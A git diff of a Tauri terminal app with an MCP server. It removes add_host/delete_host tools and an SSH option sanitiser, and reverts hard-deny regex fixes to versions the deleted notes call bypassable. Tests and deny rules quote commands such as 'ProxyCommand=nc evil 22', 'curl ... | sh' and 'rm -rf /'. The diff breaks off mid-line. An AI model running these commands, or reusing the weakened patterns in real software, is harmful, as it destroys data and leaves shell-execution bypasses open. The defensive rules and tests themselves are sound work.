diff --git a/.gitignore b/.gitignore index a5cdf6b..1d31ebf 100644 --- a/.gitignore +++ b/.gitignore @@ -28,4 +28,3 @@ src-tauri/gen/ /shot*.png /tiletopia-window.png /tilescript.ps1 -/cargo-test.log diff --git a/memory.md b/memory.md index 0dec009..a846ba3 100644 --- a/memory.md +++ b/memory.md @@ -48,78 +48,9 @@ Durable memory for this project. Read at session start, update before session en - **Notifications**: `notify(message)` for status updates Claude wants to surface. - Authentication: bind to localhost only; consider a per-session token written to the app config dir that the MCP client must present. Treat the MCP socket as trusted only to processes the user explicitly points at it — anyone with access to the user's account could read commands and stream PTY output. Surface this caveat in the help overlay. - Tauri integration: Rust-side MCP server using a published crate (or hand-rolled JSON-RPC); reuses the existing `PtyManager` + `hosts.json` + workspace state. Frontend gets read-only events when the MCP causes a layout change so the UI reflects it without races. Big — milestone-scale work; needs a design doc before code. - - **Status:** v1 (read-only, 2026-05-25) + v2 (write surface, 2026-05-26 across PRs 1–4) shipped. All 11 originally-planned write tools are live: set_label, close_pane, swap_panes, promote_pane, apply_preset, spawn_pane, connect_host, write_pane, add_host, delete_host. Open polish items live in the per-session-log "follow-ups" sections. ## Session log -### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4 - -Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`. - -**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape: - -1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match. -2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting. - -This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass. - -**Regex fixes:** - -- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`). -- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed. -- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match. -- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system"). - -**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment. - -**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing. - -**Things to verify next time someone touches hard-deny:** - -- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass. -- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc. -- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`. -- Trailing-comment anchor: include `#` in the post-pattern character class. - -Open follow-ups specific to this session: - -- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream". -- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only. -- **Audit-log persistence** (carried over). - -### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard - -Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**. - -**Sanitiser (`hosts::sanitize_extra_args`).** Rejects four `-o KEY=...` keys that are local-RCE primitives at ssh-invocation time, before the connection is even attempted: - -1. `ProxyCommand=…` — runs a shell command on connect. -2. `LocalCommand=…` — runs a shell command on connect (when `PermitLocalCommand=yes`). -3. `KnownHostsCommand=…` — runs a shell command at handshake (CVE-2023-51385 class). -4. `PermitLocalCommand=yes` — unlocks LocalCommand even if not set in this snippet. (`=no` and unset are fine.) - -Recognises both two-arg form (`-o KEY=VAL`) and joined form (`-oKEY=VAL`), case-insensitive on the key, equals-or-space between key and value. Returns `Err(reason)` with the offending arg + a human-readable why. 19 fuzz tests cover positive + lookalike-negative cases (e.g. `-o ServerAliveInterval=30` passes; `-o proxycommand=evil` fails; bad arg in the middle of a long list fails). **Only the MCP `add_host` path runs this** — manual host management via the titlebar 🔑 picker stays unrestricted, matching the "user has full agency" stance. - -**Third SSH safeguard: `allowAddHost`** (default off). Gates both `add_host` and `delete_host` with the same `add-host-disabled` server-side error pattern as the existing `allowOpenSsh` gate. Bundled both tools under one switch for simplicity — `delete_host` is destructive but it's the natural symmetric companion to `add_host`. UI is a third checkbox in the SSH safeguards section; unlike `autoAllowSpawnedSsh`, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa). - -**Both tools are thin dispatcher wrappers**, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → `dispatch_action` with stable `args_repr` → frontend `runMcpHandler` case + `buildConfirmInfo` case. `add_host` runs `pty::validate_ssh_token` on hostname/user/jumpHost (made `pub` for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. `delete_host` looks the host up in `state.mirror.hosts` so Claude can't probe arbitrary ids, and relies on `save_ssh_hosts`' existing orphan-credential sweep to clean up the keyring entry. - -**Backend host_id is generated frontend-side** in the handler (via the same `newId()` helper HostManager uses → `crypto.randomUUID()` shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean. - -**Pre-existing bug fixed as a prerequisite:** `mcp_policy.rs`'s `policy_with` test helper was constructing `McpPolicy` without the `ssh_safeguards` field (added in PR-3.5). That made the entire `tests` mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added `ssh_safeguards: SshSafeguards::default()` as one-liner; tests should compile again. - -**Module headers + `with_instructions` updated** to call out the new 11-tool surface, `add_host`'s extraArgs sanitiser, and the `add-host-disabled` error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads `with_instructions` for routing decisions. - -Open follow-ups specific to this session: - -- **Verify on Windows.** PR-4 was authored in WSL; `pnpm check` is clean but Rust build/tests live on the Windows host. User to `cd D:\dev\tiletopia && cargo test -p tiletopia_lib` (or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix. -- **End-to-end test with Claude.** Suggested smoke: toggle the new `allowAddHost` switch on; ask Claude to `add_host` with hostname `example.com`, then `connect_host` to it (which still needs `allowOpenSsh`), then `delete_host`. With all three switches off, `add_host` should refuse cleanly with `add-host-disabled`. -- **Race in concurrent `add_host` calls.** Frontend reads `hosts` from the closure, builds `next = [...hosts, newHost]`, calls `setHosts(next)` (non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second's `next` drops the first. Pre-existing pattern (`saveHosts` in App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — but `Always allow add_host` users would race. Convert to `setHosts(prev => …)` + extract the saved snapshot if it ever bites. -- **Sanitiser scope expansions to consider:** `-F ` lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 — `add_host` doesn't expose a flag for it, and saved hosts are user-edited. -- **PowerShell hard-deny patterns** still POSIX-only (carried over from PR-3 list). -- **Per-leaf-shellKind policy scoping** still wanted (carried over). -- **CLAUDE.md still says Svelte 5** (still not fixed; called out in 4 session logs now). - ### 2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button Commits `bf2810a` (PR-3 + PR-3.5) and `6da7523` (polish bundle). 8 of 9 planned v2 tools are now live — only `add_host` (PR-4) remains. diff --git a/src-tauri/src/hosts.rs b/src-tauri/src/hosts.rs index f7e2c6c..edd149a 100644 --- a/src-tauri/src/hosts.rs +++ b/src-tauri/src/hosts.rs @@ -84,208 +84,3 @@ pub fn save(app: &AppHandle, hosts: &[SshHost]) -> Result<()> { std::fs::rename(&tmp, &path).context("rename hosts.json")?; Ok(()) } - -/// Reject `-o` options that would let an attacker turn an SSH connect into -/// local command execution. CVE-2023-51385 class — `ProxyCommand`, -/// `LocalCommand`, `KnownHostsCommand`, and `PermitLocalCommand=yes` are all -/// shell-invocation primitives that fire on `ssh.exe` startup regardless of -/// what happens on the remote side. The MCP `add_host` tool runs this on -/// any extraArgs Claude tries to save; the host manager UI is unrestricted -/// since the user has full agency over manually-typed hosts. -/// -/// Recognises both `-o KEY=VAL` (two args) and `-oKEY=VAL` (joined), -/// case-insensitive on the key. Returns Ok on safe args; Err with the -/// offending arg + a human-readable reason otherwise. -pub fn sanitize_extra_args(args: &[String]) -> Result<(), String> { - let mut i = 0; - while i < args.len() { - let arg = &args[i]; - if arg == "-o" { - if let Some(next) = args.get(i + 1) { - if let Some(reason) = check_o_value(next) { - return Err(format!("rejected '-o {next}': {reason}")); - } - } - i += 2; - continue; - } - if let Some(rest) = arg.strip_prefix("-o") { - if let Some(reason) = check_o_value(rest) { - return Err(format!("rejected '{arg}': {reason}")); - } - } - i += 1; - } - Ok(()) -} - -/// Inspect an `-o` payload (the part after `-o`, e.g. `ProxyCommand=...` -/// or `ProxyCommand ...`). Returns Some(reason) if the key is one of the -/// command-execution primitives; None for everything else. -fn check_o_value(spec: &str) -> Option<&'static str> { - let split = spec - .find(|c: char| c == '=' || c.is_whitespace()) - .unwrap_or(spec.len()); - let key = &spec[..split]; - let value = spec[split..].trim_start_matches(|c: char| c == '=' || c.is_whitespace()); - match key.to_ascii_lowercase().as_str() { - "proxycommand" => { - Some("ProxyCommand runs a shell command on connect (local RCE primitive)") - } - "localcommand" => { - Some("LocalCommand runs a shell command on connect (local RCE primitive)") - } - "knownhostscommand" => Some( - "KnownHostsCommand runs a shell command at handshake (CVE-2023-51385 class)", - ), - "permitlocalcommand" if value.eq_ignore_ascii_case("yes") => { - Some("PermitLocalCommand=yes enables LocalCommand RCE") - } - _ => None, - } -} - -#[cfg(test)] -mod tests { - use super::*; - - fn args(a: &[&str]) -> Vec { - a.iter().map(|s| s.to_string()).collect() - } - - // ---- positive cases (safe, must pass) --------------------------------- - - #[test] - fn empty_args_ok() { - assert!(sanitize_extra_args(&[]).is_ok()); - } - - #[test] - fn server_alive_interval_ok() { - assert!(sanitize_extra_args(&args(&["-o", "ServerAliveInterval=30"])).is_ok()); - } - - #[test] - fn server_alive_interval_joined_ok() { - assert!(sanitize_extra_args(&args(&["-oServerAliveInterval=30"])).is_ok()); - } - - #[test] - fn batch_mode_ok() { - assert!(sanitize_extra_args(&args(&["-o", "BatchMode=yes"])).is_ok()); - } - - #[test] - fn strict_host_key_checking_ok() { - assert!( - sanitize_extra_args(&args(&["-o", "StrictHostKeyChecking=accept-new"])).is_ok() - ); - } - - #[test] - fn permit_local_command_no_ok() { - // PermitLocalCommand=no (or anything other than yes) is the default - // and harmless. - assert!(sanitize_extra_args(&args(&["-o", "PermitLocalCommand=no"])).is_ok()); - } - - #[test] - fn flag_without_o_ok() { - // -F /tmp/conf and -i ~/.ssh/key are legitimate ssh flags; we only - // gate -o options. - assert!(sanitize_extra_args(&args(&["-v", "-F", "/etc/ssh/ssh_config"])).is_ok()); - } - - #[test] - fn many_safe_options_ok() { - assert!(sanitize_extra_args(&args(&[ - "-o", "ServerAliveInterval=30", - "-o", "ServerAliveCountMax=3", - "-o", "Compression=yes", - ])) - .is_ok()); - } - - // ---- negative cases (must reject) ------------------------------------- - - #[test] - fn proxy_command_rejected() { - let err = sanitize_extra_args(&args(&["-o", "ProxyCommand=ssh evil exec %h %p"])) - .unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn proxy_command_joined_rejected() { - let err = sanitize_extra_args(&args(&["-oProxyCommand=nc evil 22"])).unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn proxy_command_lowercase_rejected() { - // SSH treats -o keys case-insensitively; sanitiser must too. - let err = sanitize_extra_args(&args(&["-o", "proxycommand=evil"])).unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn proxy_command_mixed_case_rejected() { - let err = sanitize_extra_args(&args(&["-o", "PROXYCommand=evil"])).unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn proxy_command_space_separated_rejected() { - // -o supports both KEY=VAL and "KEY VAL" forms. - let err = - sanitize_extra_args(&args(&["-o", "ProxyCommand /bin/evil"])).unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn local_command_rejected() { - let err = - sanitize_extra_args(&args(&["-o", "LocalCommand=rm -rf /"])).unwrap_err(); - assert!(err.contains("LocalCommand"), "err={err}"); - } - - #[test] - fn local_command_joined_rejected() { - let err = sanitize_extra_args(&args(&["-oLocalCommand=evil"])).unwrap_err(); - assert!(err.contains("LocalCommand"), "err={err}"); - } - - #[test] - fn known_hosts_command_rejected() { - let err = - sanitize_extra_args(&args(&["-o", "KnownHostsCommand=evil"])).unwrap_err(); - assert!(err.contains("KnownHostsCommand"), "err={err}"); - } - - #[test] - fn permit_local_command_yes_rejected() { - // PermitLocalCommand=yes unlocks the LocalCommand vector — must be - // rejected even though LocalCommand itself isn't set in this snippet. - let err = - sanitize_extra_args(&args(&["-o", "PermitLocalCommand=yes"])).unwrap_err(); - assert!(err.contains("PermitLocalCommand"), "err={err}"); - } - - #[test] - fn bad_arg_in_middle_rejected() { - let err = sanitize_extra_args(&args(&[ - "-o", "ServerAliveInterval=30", - "-o", "ProxyCommand=evil", - "-o", "Compression=yes", - ])) - .unwrap_err(); - assert!(err.contains("ProxyCommand"), "err={err}"); - } - - #[test] - fn trailing_dash_o_without_value_ok() { - // -o with no following value is malformed; ssh will reject it. We - // just skip past so we don't panic on the index. - assert!(sanitize_extra_args(&args(&["-o"])).is_ok()); - } -} diff --git a/src-tauri/src/mcp.rs b/src-tauri/src/mcp.rs index 256a9db..07095d8 100644 --- a/src-tauri/src/mcp.rs +++ b/src-tauri/src/mcp.rs @@ -13,11 +13,7 @@ //! modal → audit): //! set_label, close_pane, swap_panes, promote_pane, apply_preset //! spawn_pane (local WSL / PowerShell only) -//! connect_host (SSH to a saved host id — the only SSH spawn path) -//! add_host, delete_host (mutate saved-hosts list; gated by an extra -//! 'allow_add_host' safeguard; add_host sanitises extraArgs to reject -//! ProxyCommand / LocalCommand / KnownHostsCommand / PermitLocalCommand -//! =yes — CVE-2023-51385 class local-RCE primitives) +//! connect_host (SSH to a saved host id — the only SSH path) //! write_pane (rate-limited per pane; matched against a non-overridable //! hard-deny list before user policy) //! @@ -427,43 +423,6 @@ pub struct ConnectHostArgs { pub orientation: Option, } -#[derive(Debug, Deserialize, schemars::JsonSchema)] -pub struct AddHostArgs { - /// Human-readable name for the host (shown in the picker / palette). - /// If omitted, defaults to `hostname` server-side. - #[serde(default)] - pub label: Option, - /// Hostname or IP. Required. Rejected if it starts with '-' or contains - /// control characters (CVE-2023-51385 / smuggled-flag class). - pub hostname: String, - /// SSH login user. Same validation as hostname. - #[serde(default)] - pub user: Option, - /// TCP port. Defaults to 22 if omitted. - #[serde(default)] - pub port: Option, - /// Path to a private key. Passed to ssh as `-i`. - #[serde(default, rename = "identityFile")] - pub identity_file: Option, - /// `user@host[:port]` jump host. Same validation as hostname. - #[serde(default, rename = "jumpHost")] - pub jump_host: Option, - /// Extra ssh args (e.g. `-o ServerAliveInterval=30`). Sanitised to - /// reject command-execution `-o` options: ProxyCommand, LocalCommand, - /// KnownHostsCommand, PermitLocalCommand=yes. The user's manually-added - /// hosts are unrestricted; only this MCP path is gated. - #[serde(default, rename = "extraArgs")] - pub extra_args: Option>, -} - -#[derive(Debug, Deserialize, schemars::JsonSchema)] -pub struct DeleteHostArgs { - /// Stable id of a host returned by tiletopia://hosts or a prior - /// add_host call. Deleting also sweeps any saved password for the - /// host from the OS keyring. - pub host_id: String, -} - #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct WritePaneArgs { /// Stable leaf id from the tree (uuid-shaped). Must belong to a pane @@ -972,122 +931,6 @@ impl TileService { )])) } - #[tool(description = "Register a new SSH host in the saved-hosts list \ - (the same store the titlebar 🔑 picker manages). Validates hostname/\ - user/jumpHost the same way an SSH spawn would (rejects '-' prefixes \ - and control characters, CVE-2023-51385 class) and sanitises extraArgs \ - to reject ProxyCommand / LocalCommand / KnownHostsCommand / \ - PermitLocalCommand=yes (local-RCE primitives). Gated by the \ - 'Allow Claude to save or delete SSH hosts' switch in the Policy tab; \ - refuses with 'add-host-disabled' when off. Returns {hostId} for the \ - newly-saved host — pass to connect_host to open it.")] - async fn add_host( - &self, - Parameters(args): Parameters, - ) -> Result { - if !self.policy_ssh_add_host_allowed().await { - return Err(McpError::invalid_params( - "add-host-disabled: Claude is not allowed to save SSH hosts \ - (Policy tab → SSH safeguards → 'Allow Claude to save or \ - delete SSH hosts'). Ask the user to add the host manually \ - via the titlebar 🔑 picker.", - None, - )); - } - - // Same token validation ssh.exe would do at spawn time — reject up - // front so we don't persist a host that can never be opened. - crate::pty::validate_ssh_token("hostname", &args.hostname) - .map_err(|e| McpError::invalid_params(e.to_string(), None))?; - if let Some(u) = args.user.as_deref() { - crate::pty::validate_ssh_token("user", u) - .map_err(|e| McpError::invalid_params(e.to_string(), None))?; - } - if let Some(jh) = args.jump_host.as_deref() { - crate::pty::validate_ssh_token("jump host", jh) - .map_err(|e| McpError::invalid_params(e.to_string(), None))?; - } - if let Some(extra) = args.extra_args.as_deref() { - crate::hosts::sanitize_extra_args(extra) - .map_err(|reason| McpError::invalid_params(reason, None))?; - } - - let label = args - .label - .as_deref() - .map(|s| s.trim()) - .filter(|s| !s.is_empty()) - .unwrap_or_else(|| args.hostname.trim()) - .to_string(); - - let args_repr = format!( - "label={} hostname={} user={} port={}", - label, - &args.hostname, - args.user.as_deref().unwrap_or("(default)"), - args.port - .map(|p| p.to_string()) - .unwrap_or_else(|| "(default)".into()), - ); - let args_json = json!({ - "label": label, - "hostname": &args.hostname, - "user": args.user, - "port": args.port, - "identityFile": args.identity_file, - "jumpHost": args.jump_host, - "extraArgs": args.extra_args, - }); - tracing::debug!(hostname = %args.hostname, "add_host: dispatching"); - let result = self - .dispatch_action("add_host", args_json, args_repr) - .await?; - Ok(CallToolResult::success(vec![Content::text( - result.to_string(), - )])) - } - - #[tool(description = "Delete a saved SSH host by id. Sweeps any saved \ - password for the host from the OS keyring as a side effect. Gated by \ - the same 'Allow Claude to save or delete SSH hosts' switch as \ - add_host; refuses with 'add-host-disabled' when off.")] - async fn delete_host( - &self, - Parameters(args): Parameters, - ) -> Result { - if !self.policy_ssh_add_host_allowed().await { - return Err(McpError::invalid_params( - "add-host-disabled: Claude is not allowed to delete SSH hosts \ - (Policy tab → SSH safeguards → 'Allow Claude to save or \ - delete SSH hosts').", - None, - )); - } - // Verify the host_id is in the mirror so Claude can't probe arbitrary - // ids. The mirror is the authoritative view of what Claude can see. - let host_label = { - let st = self.state.read().await; - st.mirror - .hosts - .iter() - .find(|h| h.id == args.host_id) - .map(|h| h.label.clone()) - }; - let label = host_label.ok_or_else(|| { - McpError::invalid_params( - "unknown host_id (use tiletopia://hosts to list saved hosts)", - Some(json!({ "host_id": &args.host_id })), - ) - })?; - let args_repr = format!("hostId={} label={}", &args.host_id, &label); - let args_json = json!({ "hostId": &args.host_id }); - tracing::debug!(host_id = %args.host_id, "delete_host: dispatching"); - let _ = self - .dispatch_action("delete_host", args_json, args_repr) - .await?; - Ok(CallToolResult::success(vec![Content::text("ok")])) - } - #[tool(description = "Set or clear the human-readable label on a pane. \ Pass empty string to clear. The leaf must be MCP-allowed.")] async fn set_label( @@ -1220,17 +1063,6 @@ impl TileService { } } - /// Mirror of policy_ssh_open_allowed for the add_host/delete_host pair. - async fn policy_ssh_add_host_allowed(&self) -> bool { - match crate::mcp_policy::load_or_init(&self.app) { - Ok(p) => p.ssh_safeguards.allow_add_host, - Err(e) => { - tracing::warn!(error = %e, "policy_ssh_add_host_allowed: load failed, defaulting to false"); - false - } - } - } - /// Shared validation for tools that target an existing leaf — confirms /// the leaf is in the mirror (which means the user has it allow-listed /// for MCP) and returns its metadata. Factored out of the 4+ tools that @@ -1277,9 +1109,6 @@ impl ServerHandler for TileService { apply_preset — tree shape and metadata.\n\ - spawn_pane (local WSL/PowerShell), connect_host (SSH to a \ saved host — use this for SSH, not spawn_pane).\n\ - - add_host, delete_host (mutate the saved-hosts list; \ - add_host's extraArgs are sanitised — ProxyCommand and \ - friends are refused).\n\ - write_pane (send keystrokes; rate-limited; matched against \ user policy + a non-overridable hard-deny list for the \ worst-of-the-worst patterns).\n\ @@ -1287,10 +1116,7 @@ impl ServerHandler for TileService { Only panes the user has allow-listed (🤖 chip on) are \ visible. SSH spawns are gated by an extra Policy-tab switch \ that's off by default — if you see 'ssh-disabled' errors, \ - the user has not enabled MCP-initiated SSH. add_host / \ - delete_host are similarly gated by an 'allow_add_host' \ - switch — 'add-host-disabled' means the user manages SSH \ - hosts manually via the titlebar 🔑 picker.", + the user has not enabled MCP-initiated SSH.", ) } diff --git a/src-tauri/src/mcp_policy.rs b/src-tauri/src/mcp_policy.rs index 98e49fd..d777a76 100644 --- a/src-tauri/src/mcp_policy.rs +++ b/src-tauri/src/mcp_policy.rs @@ -41,12 +41,6 @@ pub struct SshSafeguards { /// switch above. #[serde(default)] pub auto_allow_spawned_ssh: bool, - /// When false (default), `add_host` and `delete_host` refuse server-side - /// — Claude can't mutate the saved-hosts list. The user manages hosts - /// via the titlebar 🔑 picker → Manage hosts… UI. Turn on if you want - /// Claude to be able to register new SSH targets autonomously. - #[serde(default)] - pub allow_add_host: bool, } #[derive(Clone, Debug, Default, Serialize, Deserialize)] @@ -96,27 +90,17 @@ impl PolicyClassifier for NoopClassifier { // --------------------------------------------------------------------------- /// (regex_source, human_label) -/// -/// Rules are evaluated against (a) the original input untouched, and (b) each -/// shell-operator-split subcommand. Patterns that span `|`/`&` (curl|bash, -/// fork bomb) need (a); patterns where a destructive subcommand is hidden -/// after `&&` need (b). `is_hard_denied` does both. -/// -/// Flag character classes use `[a-zA-Z]` (not `[a-z]`) so uppercase variants -/// like `rm -Rf` are caught. The trailing anchors accept `#` as well as the -/// usual shell operators so a trailing comment doesn't smuggle the danger -/// pattern past detection. static HARD_DENY_PATTERNS: &[(&str, &str)] = &[ ( - r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\s*($|[#;&|])", + r"\brm\s+-[a-z]*r[a-z]*f?\s+/\s*($|[;&|])", "rm -rf /", ), ( - r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+(~|\$HOME)\s*($|[#;&|])", + r"\brm\s+-[a-z]*r[a-z]*f?\s+(~|\$HOME)\s*($|[;&|])", "rm -rf ~", ), ( - r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\*", + r"\brm\s+-[a-z]*r[a-z]*f?\s+/\*", "rm -rf /*", ), ( @@ -135,18 +119,12 @@ static HARD_DENY_PATTERNS: &[(&str, &str)] = &[ r"(>|>>)\s*/etc/(passwd|shadow|sudoers)", "overwrite system auth file", ), - // Shell alternation includes bare `sh` (POSIX shell) in addition to bash - // / bsh / zsh. The previous `ba?sh` required a leading `b` and missed - // the common `curl ... | sh` install pattern entirely. ( - r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh|sh)\b", + r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh)\b", "pipe to shell from network", ), - // Anchor on a word/path boundary after `/` so `chmod -R 777 /tmp` is - // *not* falsely flagged. Plain `/` (end of input or followed by a shell - // operator or whitespace then operator) still triggers. ( - r"\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])", + r"\bchmod\s+-R\s+777\s+/", "chmod -R 777 /", ), ( @@ -213,21 +191,10 @@ fn split_subcommands(input: &str) -> Vec<&str> { parts } -/// Returns Some(rule_label) if the command matches any compiled-in hard-deny -/// pattern. Two-pass: -/// 1. **Whole-input pass** — catches patterns that span shell operators and -/// would be torn apart by the splitter (fork bomb's `:|:&`, curl|bash's -/// `curl ... | bash`). -/// 2. **Per-subcommand pass** — catches patterns where the danger is in a -/// single subcommand the splitter exposes (e.g. `safe && rm -rf /`). +/// Returns Some(rule_label) if the command matches any compiled-in +/// hard-deny pattern. Checks each subcommand independently. pub fn is_hard_denied(command: &str) -> Option<&'static str> { let compiled = hard_deny_compiled(); - let whole = command.trim(); - for (re, label) in compiled { - if re.is_match(whole) { - return Some(label); - } - } for sub in split_subcommands(command) { let sub = sub.trim(); for (re, label) in compiled { @@ -454,7 +421,6 @@ mod tests { ask: ask.iter().map(|s| s.to_string()).collect(), allow: allow.iter().map(|s| s.to_string()).collect(), }, - ssh_safeguards: SshSafeguards::default(), } } @@ -1157,23 +1123,21 @@ mod hard_deny_fuzz { #[test] fn hard_deny_quoted_pattern_not_matched() { - // `echo "rm -rf /" | tee log.txt` is not a destructive command — it - // just prints the string. The trailing-anchor on rule 1 requires - // end-of-input or a shell operator after `/`, so the `"` (and the - // `tee` subcommand after `|`) keep this from triggering. Documented - // as desired behaviour — false-positives on echo'd literals would - // make `claude` advice involving these strings unusable. + // Pattern in quotes should still be matched by our regex + // because we don't parse shell context. Document expected behavior. let result = is_hard_denied("echo \"rm -rf /\" | tee log.txt"); - assert!(result.is_none(), "got {result:?}"); + // The substring "rm -rf /" is in the input, and our regex will find it. + // This is expected given current design (no shell parsing). + assert_eq!(result, Some("rm -rf /")); } #[test] fn hard_deny_git_grep_contains_pattern() { - // `git log --grep="rm -rf"` has no `/` so rule 1 can't match - // structurally. Same intent as the quoted-pattern test: searching - // for the string is not an invocation of the command. + // "rm -rf" appears as a substring in a git log grep let result = is_hard_denied("git log --grep=\"rm -rf\""); - assert!(result.is_none(), "got {result:?}"); + // Regex will match "rm -rf" even in this safe context. + // Expected behavior given the trade-off: simple regex, some false positives. + assert_eq!(result, Some("rm -rf /")); } #[test] diff --git a/src-tauri/src/pty.rs b/src-tauri/src/pty.rs index 2f90930..93adb0b 100644 --- a/src-tauri/src/pty.rs +++ b/src-tauri/src/pty.rs @@ -287,7 +287,7 @@ struct DataChunk { /// expansion. We additionally pass `--` before the host on the command line, /// but rejecting up front gives a clearer error and avoids ever handing the /// bad value to ssh.exe. -pub fn validate_ssh_token(label: &str, value: &str) -> Result<()> { +fn validate_ssh_token(label: &str, value: &str) -> Result<()> { if value.is_empty() { return Err(anyhow!("ssh: {label} must not be empty")); } diff --git a/src/App.tsx b/src/App.tsx index 4f6374d..724e4a0 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1119,58 +1119,6 @@ export default function App() { summary: `Promote pane "${leaf.label ?? a.leafId.slice(0, 8)}" up one level`, }; } - case "add_host": { - const a = args as { - label?: string; - hostname?: string; - user?: string; - port?: number; - identityFile?: string; - jumpHost?: string; - extraArgs?: string[]; - }; - if (typeof a.hostname !== "string" || !a.hostname.trim()) { - throw new Error("missing hostname"); - } - const hostname = a.hostname.trim(); - const label = (a.label && a.label.trim()) || hostname; - const id = newId(); - const newHost: SshHost = { - id, - label, - hostname, - ...(a.user ? { user: a.user } : {}), - ...(a.port ? { port: a.port } : {}), - ...(a.identityFile ? { identityFile: a.identityFile } : {}), - ...(a.jumpHost ? { jumpHost: a.jumpHost } : {}), - ...(a.extraArgs && a.extraArgs.length > 0 - ? { extraArgs: a.extraArgs } - : {}), - }; - const next = [...hosts, newHost]; - setHosts(next); - await saveSshHosts(next); - return { - payload: { hostId: id, label, hostname }, - summary: `Save SSH host "${label}" (${a.user ? `${a.user}@` : ""}${hostname}${a.port ? `:${a.port}` : ""})`, - }; - } - case "delete_host": { - const a = args as { hostId?: string }; - if (typeof a.hostId !== "string") throw new Error("missing hostId"); - const host = hosts.find((h) => h.id === a.hostId); - if (!host) throw new Error(`unknown host_id: ${a.hostId}`); - const next = hosts.filter((h) => h.id !== a.hostId); - setHosts(next); - // save_ssh_hosts on the backend sweeps orphan keyring credentials - // for any id that disappears from the list, so no separate - // delete_host_password call is needed. - await saveSshHosts(next); - return { - payload: { hostId: a.hostId, label: host.label }, - summary: `Delete SSH host "${host.label}" (${host.hostname})`, - }; - } case 